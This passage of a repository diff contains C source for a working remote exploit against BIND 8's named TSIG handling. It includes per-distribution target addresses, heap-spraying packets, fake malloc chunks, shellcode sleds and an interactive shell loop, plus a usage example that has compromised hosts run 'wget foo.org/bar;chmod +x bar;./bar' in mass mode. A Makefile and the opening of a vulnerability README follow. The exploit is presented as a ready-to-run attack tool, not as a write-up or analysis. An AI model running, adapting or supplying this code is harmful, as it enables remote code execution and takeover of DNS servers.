| 113 | {"SuSE 6.4 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d0a8c }, | ||
| 114 | /* bind8.rpm, /usr/sbin/named 4aa979a93e5e8b44d316a986d3008931 */ | ||
| 115 | {"SuSE 7.0 8.2.3-T5B GOT", "8.2.3-T5B", 0, 0x08180000, 0x080d36cc }, | ||
| 116 | {"SuSE 7.1 8.2.3-T9B GOT", "8.2.3-T9B", 1, 0x08180000, 0x080d5ca8 }, | ||
| 117 | |||
| 118 | /* slack 4.0 uses 8.1.2 */ | ||
| 119 | /* bind.tgz, /usr/sbin/named 6a2305085f8a3e50604c32337d354ff8 */ | ||
| 120 | {"Slackware 7.0 8.2.2-REL GOT", "8.2.2-REL", 0, 0x08180000, 0x080c532c }, | ||
| 121 | /* bind.tgz, /usr/sbin/named 1c7436aaab660c3c1c940e4e9c6847ec */ | ||
| 122 | {"Slackware 7.1 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080bfd0c }, | ||
| 123 | |||
| 124 | {NULL, 0x0, 0x0 }, | ||
| 125 | }; | ||
| 126 | |||
| 127 | int mass = 0, | ||
| 128 | check_version = 1; | ||
| 129 | unsigned char * code = peername_code; | ||
| 130 | unsigned int code_len = sizeof (peername_code); | ||
| 131 | |||
| 132 | int | ||
| 133 | sleepvis (int seconds); | ||
| 134 | |||
| 135 | void | ||
| 136 | bind_version (struct addrinfo *addr, unsigned char *verbuf, | ||
| 137 | unsigned long int len); | ||
| 138 | |||
| 139 | static int sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 140 | unsigned char *shellcode, char **argv); | ||
| 141 | |||
| 142 | int | ||
| 143 | send_bogus (struct addrinfo *addr); | ||
| 144 | |||
| 145 | int | ||
| 146 | send_populators (struct addrinfo *addr, int count); | ||
| 147 | |||
| 148 | int target_cnt = sizeof(targets)/sizeof(target_t); | ||
| 149 | target_t *vec = &targets[0]; | ||
| 150 | |||
| 151 | #if 1 | ||
| 152 | int | ||
| 153 | Xsend (int fd, unsigned char *buf, size_t len, int flags) | ||
| 154 | { | ||
| 155 | int n, tot = len; | ||
| 156 | |||
| 157 | while (len > 0) { | ||
| 158 | n = send (fd, buf, len, flags); | ||
| 159 | if (n <= 0) | ||
| 160 | return (n); | ||
| 161 | len -= n; | ||
| 162 | buf += n; | ||
| 163 | } | ||
| 164 | |||
| 165 | return (tot); | ||
| 166 | } | ||
| 167 | #else | ||
| 168 | #define Xsend send | ||
| 169 | #endif | ||
| 170 | |||
| 171 | #if 1 | ||
| 172 | int | ||
| 173 | Xread (int fd, unsigned char *buf, size_t len) | ||
| 174 | { | ||
| 175 | int n, tot; | ||
| 176 | int pdlen; | ||
| 177 | unsigned char plen[2]; | ||
| 178 | |||
| 179 | read (fd, plen, 2); | ||
| 180 | pdlen = ntohs (*(u_int16_t *)plen); | ||
| 181 | if (pdlen > len) | ||
| 182 | return (-1); | ||
| 183 | |||
| 184 | len = pdlen; | ||
| 185 | tot = len; | ||
| 186 | |||
| 187 | while (len > 0) { | ||
| 188 | n = read (fd, buf, len); | ||
| 189 | if (n < 0) | ||
| 190 | return (n); | ||
| 191 | |||
| 192 | len -= n; | ||
| 193 | if (n == 0) | ||
| 194 | return (len); | ||
| 195 | buf += n; | ||
| 196 | } | ||
| 197 | |||
| 198 | return (tot); | ||
| 199 | } | ||
| 200 | #else | ||
| 201 | #define Xread read | ||
| 202 | #endif | ||
| 203 | |||
| 204 | |||
| 205 | void | ||
| 206 | runshell (int fd) | ||
| 207 | { | ||
| 208 | fd_set rset; | ||
| 209 | int n; | ||
| 210 | char buffer[4096]; | ||
| 211 | |||
| 212 | for (;;) { | ||
| 213 | FD_ZERO (&rset); | ||
| 214 | FD_SET (fd, &rset); | ||
| 215 | FD_SET (STDIN_FILENO, &rset); | ||
| 216 | |||
| 217 | n = select (fd + 1, &rset, NULL, NULL, NULL); | ||
| 218 | if (n <= 0) { | ||
| 219 | perror ("select"); | ||
| 220 | return; | ||
| 221 | } | ||
| 222 | |||
| 223 | if (FD_ISSET (fd, &rset)) { | ||
| 224 | n = recv (fd, buffer, sizeof (buffer), 0); | ||
| 225 | if (n <= 0) { | ||
| 226 | perror ("select"); | ||
| 227 | break; | ||
| 228 | } | ||
| 229 | |||
| 230 | write (STDOUT_FILENO, buffer, n); | ||
| 231 | } | ||
| 232 | |||
| 233 | if (FD_ISSET (STDIN_FILENO, &rset)) { | ||
| 234 | n = read (STDIN_FILENO, buffer, sizeof (buffer)); | ||
| 235 | if (n <= 0) { | ||
| 236 | perror ("select"); | ||
| 237 | break; | ||
| 238 | } | ||
| 239 | Xsend (fd, buffer, n, 0); | ||
| 240 | } | ||
| 241 | } | ||
| 242 | return; | ||
| 243 | } | ||
| 244 | |||
| 245 | int | ||
| 246 | get_warez_connection (struct addrinfo *addr) | ||
| 247 | { | ||
| 248 | int s, val = 1; | ||
| 249 | struct sockaddr_in sin; | ||
| 250 | |||
| 251 | s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol); | ||
| 252 | if (s < 0) { | ||
| 253 | return (-1); | ||
| 254 | } | ||
| 255 | |||
| 256 | if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) { | ||
| 257 | close (s); | ||
| 258 | return (-1); | ||
| 259 | } | ||
| 260 | |||
| 261 | memset (&sin, 0, sizeof(sin)); | ||
| 262 | sin.sin_family = addr->ai_family; | ||
| 263 | sin.sin_port = htons (13394); /* shellcode checks for this... */ | ||
| 264 | sin.sin_addr.s_addr = 0; | ||
| 265 | |||
| 266 | if (bind (s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { | ||
| 267 | close (s); | ||
| 268 | return (-1); | ||
| 269 | } | ||
| 270 | |||
| 271 | if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) { | ||
| 272 | close (s); | ||
| 273 | return (-1); | ||
| 274 | } | ||
| 275 | |||
| 276 | return (s); | ||
| 277 | } | ||
| 278 | |||
| 279 | int | ||
| 280 | get_connection (struct addrinfo *addr) | ||
| 281 | { | ||
| 282 | int s; | ||
| 283 | |||
| 284 | s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol); | ||
| 285 | if (s < 0) { | ||
| 286 | return (-1); | ||
| 287 | } | ||
| 288 | |||
| 289 | if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) { | ||
| 290 | close (s); | ||
| 291 | return (-1); | ||
| 292 | } | ||
| 293 | |||
| 294 | fcntl (s, F_SETFL, O_SYNC | fcntl (s, F_GETFL)); | ||
| 295 | |||
| 296 | return (s); | ||
| 297 | } | ||
| 298 | |||
| 299 | /* since a malloc packet is always aligned on an 8 byte boundary we can | ||
| 300 | * assume at least a 2 byte alignment. | ||
| 301 | * Since (ret+12) is overwritten with garbage we need to jump over that | ||
| 302 | * with each instruction and it also needs to look like a domain name. | ||
| 303 | */ | ||
| 304 | unsigned char tesops[]= | ||
| 305 | "\x27\x90\xeb\x12\xeb\x12\xeb\x12\xeb\x12" | ||
| 306 | "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12" | ||
| 307 | "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12" | ||
| 308 | "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12"; | ||
| 309 | /* just nops plus a jump to skip the first byte of the shellcode, note | ||
| 310 | * we shouldn't return into this part, but its relatively small | ||
| 311 | */ | ||
| 312 | unsigned char finops[]= | ||
| 313 | "\x14\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 314 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x01"; | ||
| 315 | |||
| 316 | int | ||
| 317 | mk_nops (unsigned char *cp) | ||
| 318 | { | ||
| 319 | unsigned char *orig = cp; | ||
| 320 | int ctr; | ||
| 321 | |||
| 322 | for (ctr = 0; ctr < 1498; ++ctr) { | ||
| 323 | memcpy (cp, tesops, 40); | ||
| 324 | cp += 40; | ||
| 325 | } | ||
| 326 | memcpy (cp, finops, 21); | ||
| 327 | cp += 21; | ||
| 328 | return (cp - orig); | ||
| 329 | } | ||
| 330 | int | ||
| 331 | mk_overwrite_pkt (unsigned char *cp) | ||
| 332 | { | ||
| 333 | unsigned char *orig = cp; | ||
| 334 | HEADER *hdr = (HEADER *)cp; | ||
| 335 | |||
| 336 | memset (cp, 0, NS_HFIXEDSZ); | ||
| 337 | hdr->id = 0; | ||
| 338 | hdr->rd = 1; | ||
| 339 | hdr->arcount = hdr->qdcount = htons (1); | ||
| 340 | |||
| 341 | cp += NS_HFIXEDSZ; | ||
| 342 | |||
| 343 | cp += mk_nops (cp); | ||
| 344 | |||
| 345 | #if 0 | ||
| 346 | memcpy (cp, vec->code, vec->code_len); | ||
| 347 | cp += vec->code_len; | ||
| 348 | #endif | ||
| 349 | |||
| 350 | #if 1 | ||
| 351 | cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig)); | ||
| 352 | #else /* harmless, for testing... */ | ||
| 353 | cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig) - 40); | ||
| 354 | #endif | ||
| 355 | *cp++ = '\0'; | ||
| 356 | |||
| 357 | NS_PUT16 (ns_t_a, cp); | ||
| 358 | NS_PUT16 (ns_c_in, cp); | ||
| 359 | |||
| 360 | *cp++ = '\0'; | ||
| 361 | NS_PUT16 (250, cp); | ||
| 362 | *cp++ = '\0'; | ||
| 363 | |||
| 364 | return (cp - orig); | ||
| 365 | } | ||
| 366 | |||
| 367 | int | ||
| 368 | mk_malloc_pkt (unsigned char *cp) | ||
| 369 | { | ||
| 370 | unsigned char *orig = cp; | ||
| 371 | |||
| 372 | memset (cp, 'P', 0x10 - 8); | ||
| 373 | cp += 0x10 - 8; | ||
| 374 | |||
| 375 | /* fake 1 indicate previous is in use */ | ||
| 376 | NS_LPUT32 (0, cp); | ||
| 377 | NS_LPUT32 (0x11, cp); | ||
| 378 | NS_LPUT32 (vec->retloc - 12, cp); | ||
| 379 | NS_LPUT32 (vec->ret_addr, cp); | ||
| 380 | /* fake 2 indicate previous isnt in use */ | ||
| 381 | NS_LPUT32 (0x10, cp); | ||
| 382 | NS_LPUT32 (0x10, cp); | ||
| 383 | NS_LPUT32 (0xf4f4f4f4, cp); | ||
| 384 | NS_LPUT32 (0x4f4f4f4f, cp); | ||
| 385 | /* fake 3 indicate previous is in use */ | ||
| 386 | NS_LPUT32 (0x0, cp); | ||
| 387 | NS_LPUT32 (0x11, cp); | ||
| 388 | NS_LPUT32 (0xe3e3e3e3, cp); | ||
| 389 | NS_LPUT32 (0x3e3e3e3e, cp); | ||
| 390 | |||
| 391 | return (cp - orig); | ||
| 392 | } | ||
| 393 | |||
| 394 | int | ||
| 395 | sleepvis (int seconds) | ||
| 396 | { | ||
| 397 | fprintf (stderr, "%2d", seconds); | ||
| 398 | while (seconds > 0) { | ||
| 399 | fflush (stderr); | ||
| 400 | seconds -= 1; | ||
| 401 | sleep (1); | ||
| 402 | fprintf (stderr, "\b\b%2d", seconds); | ||
| 403 | } | ||
| 404 | fprintf (stderr, "\b\b"); | ||
| 405 | fflush (stderr); | ||
| 406 | |||
| 407 | return (0); | ||
| 408 | } | ||
| 409 | |||
| 410 | int | ||
| 411 | send_bogus (struct addrinfo *addr) | ||
| 412 | { | ||
| 413 | int sock; | ||
| 414 | unsigned char bogus[2] = "\x00\x00"; | ||
| 415 | |||
| 416 | sleep (10); | ||
| 417 | |||
| 418 | sock = get_connection (addr); | ||
| 419 | if (sock < 0) { | ||
| 420 | fprintf (stderr, "# looks alright, BIND either crashed or spinning in shellcode\n"); | ||
| 421 | return (1); | ||
| 422 | } else { | ||
| 423 | fprintf (stderr, "# BIND is still reacting, either not vulnerable or GOT not triggered\n"); | ||
| 424 | fprintf (stderr, "# triggering close()\n"); | ||
| 425 | } | ||
| 426 | |||
| 427 | if (Xsend (sock, bogus, 2, 0) < 0) { | ||
| 428 | perror ("send_bogus:send"); | ||
| 429 | exit (EXIT_FAILURE); | ||
| 430 | } | ||
| 431 | close (sock); | ||
| 432 | |||
| 433 | return (0); | ||
| 434 | } | ||
| 435 | |||
| 436 | int | ||
| 437 | send_populators (struct addrinfo *addr, int count) | ||
| 438 | { | ||
| 439 | int i; | ||
| 440 | int sock[64]; | ||
| 441 | unsigned char len[2]; | ||
| 442 | unsigned char dbuf[65536]; | ||
| 443 | unsigned int dbuf_len_tell = 65532; | ||
| 444 | unsigned int dbuf_len_send; | ||
| 445 | |||
| 446 | if (count > (sizeof (sock) / sizeof (sock[0]))) { | ||
| 447 | fprintf (stderr, "to keep the balance of sanity is sometimes impossible\n"); | ||
| 448 | exit (EXIT_FAILURE); | ||
| 449 | } | ||
| 450 | |||
| 451 | fprintf (stderr, "sending %d packets, 64kb each. will give %lu bytes of nop space\n", | ||
| 452 | count, (unsigned long int) count * (dbuf_len_tell - code_len)); | ||
| 453 | fprintf (stderr, "for each packet we will leave one socket open\n"); | ||
| 454 | fprintf (stderr, "["); | ||
| 455 | fflush (stderr); | ||
| 456 | |||
| 457 | /* build buffer: <jmp-nops> <shellcode> <remspace> | ||
| 458 | * cant be simpler ;) | ||
| 459 | * remspace is not send to the remote side at all | ||
| 460 | */ | ||
| 461 | dbuf_len_send = dbuf_len_tell - 64; | ||
| 462 | for (i = 0 ; i < (dbuf_len_send - code_len) ; i += 2) { | ||
| 463 | dbuf[i] = '\xeb'; | ||
| 464 | dbuf[i + 1] = '\x12'; | ||
| 465 | } | ||
| 466 | for (i = (dbuf_len_send - code_len - 0x20) ; | ||
| 467 | i < (dbuf_len_send - code_len) ; ++i) | ||
| 468 | { | ||
| 469 | dbuf[i] = '\x90'; | ||
| 470 | // dbuf[i] = '\xcc'; | ||
| 471 | } | ||
| 472 | memcpy (dbuf + dbuf_len_send - code_len, | ||
| 473 | code, code_len); | ||
| 474 | |||
| 475 | for (i = 0 ; i < count ; ++i) { | ||
| 476 | fprintf (stderr, "%1d", i % 10); | ||
| 477 | fflush (stderr); | ||
| 478 | |||
| 479 | sock[i] = get_connection (addr); | ||
| 480 | if (sock[i] < 0) | ||
| 481 | continue; | ||
| 482 | |||
| 483 | *(u_int16_t *)len = htons (dbuf_len_tell); | ||
| 484 | if (Xsend (sock[i], len, 2, 0) < 0) { | ||
| 485 | perror ("send_populators:len-sending:send"); | ||
| 486 | exit (EXIT_FAILURE); | ||
| 487 | } | ||
| 488 | if (Xsend (sock[i], dbuf, dbuf_len_send, 0) < 0) { | ||
| 489 | perror ("send_populators:dbuf-sending:send"); | ||
| 490 | exit (EXIT_FAILURE); | ||
| 491 | } | ||
| 492 | } | ||
| 493 | |||
| 494 | fprintf (stderr, "]\n\n"); | ||
| 495 | fprintf (stderr, "successfully set up populator traps\n"); | ||
| 496 | |||
| 497 | return (0); | ||
| 498 | } | ||
| 499 | |||
| 500 | |||
| 501 | int | ||
| 502 | send_expl (struct addrinfo *addr) | ||
| 503 | { | ||
| 504 | int s1 = -1, s2 = -1, s3 = -1, s4 = -1, err = 0; | ||
| 505 | int owrite_len, mallox_len, blue =0; | ||
| 506 | unsigned char owrite[65536], len[2]; | ||
| 507 | unsigned char mallox[0x2000]; | ||
| 508 | |||
| 509 | /* create the packets first */ | ||
| 510 | owrite_len = mk_overwrite_pkt (owrite); | ||
| 511 | if (owrite_len > 65535) { | ||
| 512 | fprintf (stderr, "fuck..\n"); | ||
| 513 | return (-1); | ||
| 514 | } | ||
| 515 | |||
| 516 | mallox_len = mk_malloc_pkt (mallox); | ||
| 517 | |||
| 518 | s1 = get_connection (addr); | ||
| 519 | s2 = get_connection (addr); | ||
| 520 | s3 = get_connection (addr); | ||
| 521 | if (s1 < 0 || s2 < 0 || s3 < 0) { | ||
| 522 | perror ("get_connection"); | ||
| 523 | goto fail; | ||
| 524 | } | ||
| 525 | |||
| 526 | /* make named allocate the packet data */ | ||
| 527 | *(u_int16_t *)len = htons (0x60); | ||
| 528 | if (Xsend (s1, len, 2, 0) < 0) { | ||
| 529 | perror ("send"); | ||
| 530 | goto fail; | ||
| 531 | } | ||
| 532 | |||
| 533 | *(u_int16_t *)len = htons (owrite_len); | ||
| 534 | if (Xsend (s2, len, 2, 0) < 0) { | ||
| 535 | perror ("send"); | ||
| 536 | goto fail; | ||
| 537 | } | ||
| 538 | |||
| 539 | /* server still expects more.. */ | ||
| 540 | *(u_int16_t *)len = htons (mallox_len + 1); | ||
| 541 | if (Xsend (s3, len, 2, 0) < 2) { | ||
| 542 | perror ("send"); | ||
| 543 | goto fail; | ||
| 544 | } | ||
| 545 | |||
| 546 | printf ("sending main part of malloc packet...\n"); | ||
| 547 | if (Xsend (s3, mallox, mallox_len, 0) < (mallox_len)) { | ||
| 548 | perror ("malloc send"); | ||
| 549 | goto fail; | ||
| 550 | } | ||
| 551 | |||
| 552 | sleepvis (5); | ||
| 553 | |||
| 554 | printf ("sending overwrite packet...\n"); | ||
| 555 | /* overwrite the 3rd packet with the 2nd */ | ||
| 556 | if (Xsend (s2, owrite, owrite_len, 0) < owrite_len) { | ||
| 557 | perror ("owrite_send"); | ||
| 558 | goto fail; | ||
| 559 | } | ||
| 560 | while (blue < 65300) { | ||
| 561 | int n; | ||
| 562 | |||
| 563 | n = recv (s2, owrite, sizeof(owrite), 0); | ||
| 564 | if (n <= 0) | ||
| 565 | break; | ||
| 566 | blue += n; | ||
| 567 | } | ||
| 568 | |||
| 569 | close (s2); | ||
| 570 | s4 = get_warez_connection (addr); | ||
| 571 | if (s4 < 0) { | ||
| 572 | perror ("get_warez_connection"); | ||
| 573 | return (-1); | ||
| 574 | } | ||
| 575 | fprintf (stderr, "sent overwrite packet...sleeping for 2 seconds\n"); | ||
| 576 | sleepvis (2); | ||
| 577 | |||
| 578 | /* experimental reliability patch */ | ||
| 579 | fprintf (stderr, "sending dummy packets with shellcode to populate the heap\n"); | ||
| 580 | send_populators (addr, 20); | ||
| 581 | sleepvis (5); | ||
| 582 | |||
| 583 | fprintf (stderr, "freeing packet\n"); | ||
| 584 | /* free the 3rd packet */ | ||
| 585 | if (Xsend (s3, "a",1,0) < 1) { | ||
| 586 | perror ("malloc 2 send"); | ||
| 587 | goto fail; | ||
| 588 | } | ||
| 589 | close(s3); | ||
| 590 | sleepvis (2); | ||
| 591 | fprintf (stderr, "doing close\n"); | ||
| 592 | send (s1, mallox, 0x60, 0); | ||
| 593 | close (s1); | ||
| 594 | sleepvis (2); | ||
| 595 | fprintf (stderr, "doing fork-away and bogus connect to trigger close...\n"); | ||
| 596 | if (fork () == 0) { | ||
| 597 | send_bogus (addr); | ||
| 598 | exit (EXIT_SUCCESS); | ||
| 599 | } | ||
| 600 | |||
| 601 | if (mass == 1) { | ||
| 602 | sleepvis (5); | ||
| 603 | fprintf (stderr, "egg placed, may the force be with you.\n"); | ||
| 604 | exit (EXIT_SUCCESS); | ||
| 605 | } | ||
| 606 | |||
| 607 | fprintf (stderr, "trying shell....\n"); | ||
| 608 | fprintf (stderr, "advice: be patient, if it does not seem react here, wait. BIND may be in\n"); | ||
| 609 | fprintf (stderr, " an unstable state, but we will send a bogus packet in 10 seconds.\n"); | ||
| 610 | fprintf (stderr, " if it does react after some minutes, but behaves blocky,\n"); | ||
| 611 | fprintf (stderr, " something went wrong, but you can still type blind and wait a\n"); | ||
| 612 | fprintf (stderr, " few minutes for it to react, sorry.\n"); | ||
| 613 | fprintf (stderr, "-------------------------------------------------------------------------\n"); | ||
| 614 | |||
| 615 | #ifndef TRUST_THE_MAGIC | ||
| 616 | write (s4, xp_initstr, strlen (xp_initstr)); | ||
| 617 | #endif | ||
| 618 | runshell (s4); | ||
| 619 | |||
| 620 | err++; | ||
| 621 | fail: | ||
| 622 | err--; | ||
| 623 | close (s1); | ||
| 624 | close (s2); | ||
| 625 | close (s3); | ||
| 626 | return (err); | ||
| 627 | } | ||
| 628 | |||
| 629 | int | ||
| 630 | send_exploit (char *hname) | ||
| 631 | { | ||
| 632 | struct addrinfo *addr, hints; | ||
| 633 | int err = 0; | ||
| 634 | |||
| 635 | memset (&hints, 0, sizeof(hints)); | ||
| 636 | hints.ai_flags = AI_CANONNAME; | ||
| 637 | hints.ai_family = PF_UNSPEC; | ||
| 638 | hints.ai_socktype = SOCK_STREAM; | ||
| 639 | err = getaddrinfo (hname, "domain", &hints, &addr); | ||
| 640 | if (err) { | ||
| 641 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (err)); | ||
| 642 | return (-1); | ||
| 643 | } | ||
| 644 | |||
| 645 | if (check_version) { | ||
| 646 | unsigned char verbuf[64]; | ||
| 647 | |||
| 648 | fprintf (stderr, "probing for BIND version %s\n", vec->verstr); | ||
| 649 | memset (verbuf, '\0', sizeof (verbuf)); | ||
| 650 | bind_version (addr, verbuf, sizeof (verbuf)); | ||
| 651 | verbuf[sizeof (verbuf) - 1] = '\0'; | ||
| 652 | if (strcmp (verbuf, vec->verstr) != 0) { | ||
| 653 | fprintf (stderr, "remote uses BIND version \"%s\",\n" | ||
| 654 | "while the vector is for BIND version \"%s\".\n" | ||
| 655 | "use -n option to override, but know what you do\n", | ||
| 656 | verbuf, vec->verstr); | ||
| 657 | |||
| 658 | exit (EXIT_FAILURE); | ||
| 659 | } | ||
| 660 | fprintf (stderr, "remote uses correct version: \"%s\"\n", verbuf); | ||
| 661 | } | ||
| 662 | |||
| 663 | |||
| 664 | err = send_expl (addr); | ||
| 665 | |||
| 666 | freeaddrinfo (addr); | ||
| 667 | |||
| 668 | return (err); | ||
| 669 | } | ||
| 670 | |||
| 671 | void | ||
| 672 | usage (char *prg) | ||
| 673 | { | ||
| 674 | fprintf (stderr, "usage: %s [-h ip] [-t target] [mass commands]\n\n", prg); | ||
| 675 | fprintf (stderr, "-c mass mode. experts only\n"); | ||
| 676 | fprintf (stderr, "-n do NOT check for the correct BIND version\n"); | ||
| 677 | fprintf (stderr, "-h ip set target ip (default: 127.0.0.1)\n"); | ||
| 678 | fprintf (stderr, "-t target set target, zero gives a list\n\n"); | ||
| 679 | |||
| 680 | fprintf (stderr, "example: %s -h 127.0.0.1 -t 4 -c -- /bin/sh -c \\\n" | ||
| 681 | "\t\"cd /tmp;wget foo.org/bar;chmod +x bar;./bar\"\n\n", prg); | ||
| 682 | |||
| 683 | exit (EXIT_FAILURE); | ||
| 684 | } | ||
| 685 | |||
| 686 | int | ||
| 687 | main (int argc, char **argv) | ||
| 688 | { | ||
| 689 | char c; | ||
| 690 | char * dest = "127.0.0.1"; | ||
| 691 | int target = 0; | ||
| 692 | unsigned char codebuf[256]; | ||
| 693 | |||
| 694 | if (argc == 1) | ||
| 695 | usage (argv[0]); | ||
| 696 | |||
| 697 | while ((c = getopt (argc, argv, "cnh:t:")) != EOF) { | ||
| 698 | switch (c) { | ||
| 699 | case 'c': | ||
| 700 | mass = 1; | ||
| 701 | break; | ||
| 702 | case 'n': | ||
| 703 | check_version = 0; | ||
| 704 | break; | ||
| 705 | case 'h': | ||
| 706 | dest = optarg; | ||
| 707 | break; | ||
| 708 | case 't': | ||
| 709 | if (atoi (optarg) == 0) { | ||
| 710 | target_t *ptr; | ||
| 711 | int ctr; | ||
| 712 | |||
| 713 | printf ("\tno system BIND version\n"); | ||
| 714 | printf ("\t--- ------------------------------ ---------------\n"); | ||
| 715 | for (ctr = 1, ptr = targets; ptr->name; ++ptr, ++ctr) | ||
| 716 | fprintf (stderr, "\t%2d: %-30s %-15s\n%s", ctr, | ||
| 717 | ptr->name, ptr->verstr, | ||
| 718 | ptr->nl == 1 ? "\n" : ""); | ||
| 719 | exit (EXIT_FAILURE); | ||
| 720 | } | ||
| 721 | target = atoi (optarg); | ||
| 722 | |||
| 723 | break; | ||
| 724 | default: | ||
| 725 | usage (argv[0]); | ||
| 726 | break; | ||
| 727 | } | ||
| 728 | } | ||
| 729 | |||
| 730 | /* one remaining argument (script file name) | ||
| 731 | */ | ||
| 732 | if (mass == 1 && (argc - optind) == 0) | ||
| 733 | usage (argv[0]); | ||
| 734 | |||
| 735 | if (mass == 1) { | ||
| 736 | int len; | ||
| 737 | |||
| 738 | len = sc_build_x86_lnx (codebuf, sizeof (codebuf), | ||
| 739 | x86_lnx_execve, &argv[optind]); | ||
| 740 | |||
| 741 | fprintf (stderr, "created %d byte execve shellcode\n", len); | ||
| 742 | |||
| 743 | code = codebuf; | ||
| 744 | code_len = len; | ||
| 745 | } | ||
| 746 | |||
| 747 | target -= 1; | ||
| 748 | if (target >= target_cnt) | ||
| 749 | target = 0; | ||
| 750 | vec = &targets[target]; | ||
| 751 | |||
| 752 | fprintf (stderr, "using: %s\n", vec->name); | ||
| 753 | fprintf (stderr, "against: %s\n", dest); | ||
| 754 | fprintf (stderr, "\n"); | ||
| 755 | |||
| 756 | srand (time (NULL)); | ||
| 757 | |||
| 758 | send_exploit (dest); | ||
| 759 | |||
| 760 | return (EXIT_SUCCESS); | ||
| 761 | } | ||
| 762 | |||
| 763 | |||
| 764 | void | ||
| 765 | bind_version (struct addrinfo *addr, unsigned char *verbuf, | ||
| 766 | unsigned long int verlen) | ||
| 767 | { | ||
| 768 | int s1; | ||
| 769 | unsigned char pkt[] = | ||
| 770 | "\x00\x06\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" | ||
| 771 | "\x07\x76\x65\x72\x73\x69\x6f\x6e\x04\x62\x69\x6e" | ||
| 772 | "\x64\x00\x00\x10\x00\x03"; | ||
| 773 | unsigned char * ver; | ||
| 774 | unsigned char resp[256]; | ||
| 775 | unsigned char len[2]; | ||
| 776 | |||
| 777 | s1 = get_connection (addr); | ||
| 778 | if (s1 < 0) { | ||
| 779 | perror ("bind_version:connect"); | ||
| 780 | exit (EXIT_FAILURE); | ||
| 781 | } | ||
| 782 | |||
| 783 | *(u_int16_t *)len = htons (30); | ||
| 784 | if (Xsend (s1, len, 2, 0) < 0) { | ||
| 785 | perror ("bind_version:send-len"); | ||
| 786 | exit (EXIT_FAILURE); | ||
| 787 | } | ||
| 788 | |||
| 789 | if (Xsend (s1, pkt, 30, 0) < 30) { | ||
| 790 | perror ("bind_version:send-data"); | ||
| 791 | exit (EXIT_FAILURE); | ||
| 792 | } | ||
| 793 | |||
| 794 | memset (resp, '\0', sizeof (resp)); | ||
| 795 | if (Xread (s1, resp, sizeof (resp) - 1) < 0) { | ||
| 796 | perror ("bind_version:read-data"); | ||
| 797 | exit (EXIT_FAILURE); | ||
| 798 | } | ||
| 799 | |||
| 800 | ver = resp + sizeof (resp) - 1; | ||
| 801 | while (ver > resp && *ver == '\0') | ||
| 802 | --ver; | ||
| 803 | while (ver > resp && isprint (*ver) && *ver >= 0x20) | ||
| 804 | --ver; | ||
| 805 | if (*ver < 0x20) | ||
| 806 | ++ver; | ||
| 807 | strncpy (verbuf, ver, verlen); | ||
| 808 | |||
| 809 | close (s1); | ||
| 810 | } | ||
| 811 | |||
| 812 | |||
| 813 | static int | ||
| 814 | sc_build_x86_lnx (unsigned char *target, size_t target_len, unsigned char *shellcode, | ||
| 815 | char **argv) | ||
| 816 | { | ||
| 817 | int i; | ||
| 818 | size_t tl_orig = target_len; | ||
| 819 | |||
| 820 | |||
| 821 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 822 | return (-1); | ||
| 823 | |||
| 824 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 825 | target += strlen (shellcode); | ||
| 826 | target_len -= strlen (shellcode); | ||
| 827 | |||
| 828 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 829 | ; | ||
| 830 | |||
| 831 | /* set argument count | ||
| 832 | */ | ||
| 833 | target[0] = (unsigned char) i; | ||
| 834 | target++; | ||
| 835 | target_len--; | ||
| 836 | |||
| 837 | for ( ; i > 0 ; ) { | ||
| 838 | i -= 1; | ||
| 839 | |||
| 840 | if (strlen (argv[i]) >= target_len) | ||
| 841 | return (-1); | ||
| 842 | |||
| 843 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 844 | (tl_orig - target_len), tl_orig, | ||
| 845 | strlen (argv[i]), argv[i]); | ||
| 846 | |||
| 847 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 848 | target += strlen (argv[i]); | ||
| 849 | target_len -= strlen (argv[i]); | ||
| 850 | |||
| 851 | target[0] = (unsigned char) (i + 1); | ||
| 852 | target++; | ||
| 853 | target_len -= 1; | ||
| 854 | } | ||
| 855 | |||
| 856 | return (tl_orig - target_len); | ||
| 857 | } | ||
diff --git a/other/tsig/Makefile b/other/tsig/Makefile new file mode 100644 index 0000000..6010ccd --- /dev/null +++ b/other/tsig/Makefile | |||
| @@ -0,0 +1,10 @@ | |||
| 1 | CC = gcc | ||
| 2 | CFLAGS = -Wall -g -ggdb | ||
| 3 | OBJS = tcp.o dnslib.o | ||
| 4 | all: tsig | ||
| 5 | |||
| 6 | tsig: $(OBJS) | ||
| 7 | $(CC) -o $@ $(OBJS) | ||
| 8 | |||
| 9 | clean: | ||
| 10 | rm -rf $(OBJS) tsig | ||
diff --git a/other/tsig/README b/other/tsig/README new file mode 100644 index 0000000..da4ce79 --- /dev/null +++ b/other/tsig/README | |||
| @@ -0,0 +1,83 @@ | |||
| 1 | VULNERABILITY INFORMATION | ||
| 2 | |||
| 3 | The overflow occurs when BIND overwrites your TSIG record with its own, after | ||
| 4 | the end of the question section without proper bounds checking. | ||
| 5 | The overwritten data appears to be: | ||
| 6 | |||
| 7 | 00 00 fa 00 ff 00 00 00 00 ll ll 00 00 00 tt tt tt tt 01 2c 00 00 | ||
| 8 | id id 00 11 00 00 | ||
| 9 | |||
| 10 | where: | ||
| 11 | id is the original dns id | ||
| 12 | ll is the rdlength | ||
| 13 | tt is the time it was signed | ||
| 14 | |||
| 15 | TCP EXPLOITATION INFORMATION FROM SCUT | ||
| 16 | |||
